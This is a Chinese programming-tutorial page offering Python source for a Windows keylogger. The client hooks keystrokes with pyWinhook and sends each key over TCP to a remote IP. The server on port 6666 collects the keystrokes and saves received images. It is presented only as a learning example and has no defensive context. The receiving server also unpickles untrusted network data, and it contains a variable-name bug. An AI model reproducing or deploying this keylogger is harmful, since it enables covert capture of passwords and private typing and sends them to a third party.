• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    python实现监听键盘

    python实现监听键盘,供大家参考,具体内容如下实现服务端

    import pickle
    from io import BytesIO
    import socket
    
    #接收数据
    def Server_Recive(ip,port):
        socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        socket_obj.bind((ip,port))
        socket_obj.listen(5)
    
        file = 1
    
        while True:
            connection,address = socket_obj.accept()
      #接受的数据
            recieved_message = b''
            recieved_message_fragment = connection.recv(1024)
            while recieved_message_fragment:
                recieved_message += recieved_message_fragment
                recieved_message_fragment = connection.recv(1024)
    
            try:
                obj = pickle.loads(recieved_message)
                print(obj['Key'],end=' ')
            except EOFError:
                file_name = 'recv_image_' + str(file_on) + '.bmp'
                recv_image = open(file_name,'wb')
                recv_image.write(recieved_message)
                file_on += 1
            connection.close()
    
    
    if __name__ == '__main__':
        Server_IP = '0.0.0.0'
        Server_Port = 6666
        Server_Recive(Server_IP,Server_Port)

    键盘监听程序

    #键盘监听
    
    import pythoncom,pyWinhook,pickle,socket
    from io import BytesIO
    
    def Client_PIC(ip,port,obj):
        try:
            msg = pickle.dumps(obj)
            send_message = BytesIO(msg)
            send_message_fragment = send_message.read(1024)
        except:
            send_message = obj
            send_message_fragment = send_message.read(1024)
    
        socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        socket_obj.connect((ip,port))
    
        while send_message_fragment:
            socket_obj.send(send_message_fragment)
            send_message_fragment = send_message.read(1024)
    
        socket_obj.close()
    
    
    def OnkeyBoardEvent(event):
        dict_key = {}
        dict_key['MessageName'] = event.MessageName
        dict_key['Key'] = event.Key
    
        Client_PIC('你自己的ip地址',6666,dict_key)
        return True
    
    def Keylogger():
        hm = pyWinhook.HookManager()
        hm.KeyDown = OnkeyBoardEvent
        hm.HookKeyboard()
        pythoncom.PumpMessages()
    
    if __name__ == '__main__':
        Keylogger() 

    其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

    运行(先运行服务端,而后运行监听程序)

    以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

    您可能感兴趣的文章:
    • python使用pynput库操作、监控你的鼠标和键盘
    • 详解Python中Pygame键盘事件
    • Python键盘输入转换为列表的实例
    • Python控制鼠标键盘代码实例
    • python只需30行代码就能记录键盘的一举一动
    上一篇:python如何做代码性能分析
    下一篇:python opencv人脸识别考勤系统的完整源码
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    python实现监听键盘 python,实现,监听,键盘,python,